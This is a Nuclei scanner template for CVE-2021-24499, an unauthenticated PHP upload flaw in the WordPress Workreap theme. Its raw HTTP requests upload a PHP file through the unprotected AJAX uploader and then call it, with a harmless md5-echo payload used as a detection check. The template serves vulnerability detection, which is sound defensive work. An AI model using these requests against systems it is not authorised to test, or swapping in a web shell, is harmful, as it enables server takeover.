65 lines
2.6 KiB
YAML
65 lines
2.6 KiB
YAML
id: CVE-2021-24499
|
|
|
|
info:
|
|
name: WordPress Workreap - Remote Code Execution
|
|
author: daffainfo
|
|
severity: critical
|
|
description: WordPress Workreap theme is susceptible to remote code execution. The AJAX actions workreap_award_temp_file_uploader and workreap_temp_file_uploader did not perform nonce checks, or validate that the request is from a valid user in any other way. The endpoints allowed for uploading arbitrary files to the uploads/workreap-temp directory. Uploaded files were neither sanitized nor validated, allowing an unauthenticated visitor to upload executable code such as php scripts.
|
|
remediation: |
|
|
Update to the latest version of the Workreap plugin to fix the vulnerability.
|
|
reference:
|
|
- https://github.com/RyouYoo/CVE-2021-24499
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-24499
|
|
- https://wpscan.com/vulnerability/74611d5f-afba-42ae-bc19-777cdf2808cb
|
|
- https://jetpack.com/2021/07/07/multiple-vulnerabilities-in-workreap-theme/
|
|
- http://packetstormsecurity.com/files/172876/WordPress-Workreap-2.2.2-Shell-Upload.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-24499
|
|
cwe-id: CWE-434
|
|
epss-score: 0.19069
|
|
epss-percentile: 0.95682
|
|
cpe: cpe:2.3:a:amentotech:workreap:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: amentotech
|
|
product: workreap
|
|
framework: wordpress
|
|
tags: wpscan,packetstorm,cve,cve2021,rce,workreap,wordpress,wp-plugin,intrusive,wp
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-admin/admin-ajax.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: multipart/form-data; boundary=------------------------cd0dc6bdc00b1cf9
|
|
X-Requested-With: XMLHttpRequest
|
|
|
|
-----------------------------cd0dc6bdc00b1cf9
|
|
Content-Disposition: form-data; name="action"
|
|
|
|
workreap_award_temp_file_uploader
|
|
-----------------------------cd0dc6bdc00b1cf9
|
|
Content-Disposition: form-data; name="award_img"; filename="{{randstr}}.php"
|
|
Content-Type: application/x-httpd-php
|
|
|
|
<?php echo md5("CVE-2021-24499"); ?>
|
|
-----------------------------cd0dc6bdc00b1cf9--
|
|
- |
|
|
GET /wp-content/uploads/workreap-temp/{{randstr}}.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "71abe5077dae2754c36d731cc1534d4d"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 490a0046304402205228a851cfde1d331e7c77e4d672704f0b870af9719b8f808d488d6d047cff4f02204377c4a2f620f45d359a4c420e5ed506ded96ca17ba33c83163e55e8e18451ad:922c64590222798bb761d5b6d8e72950
|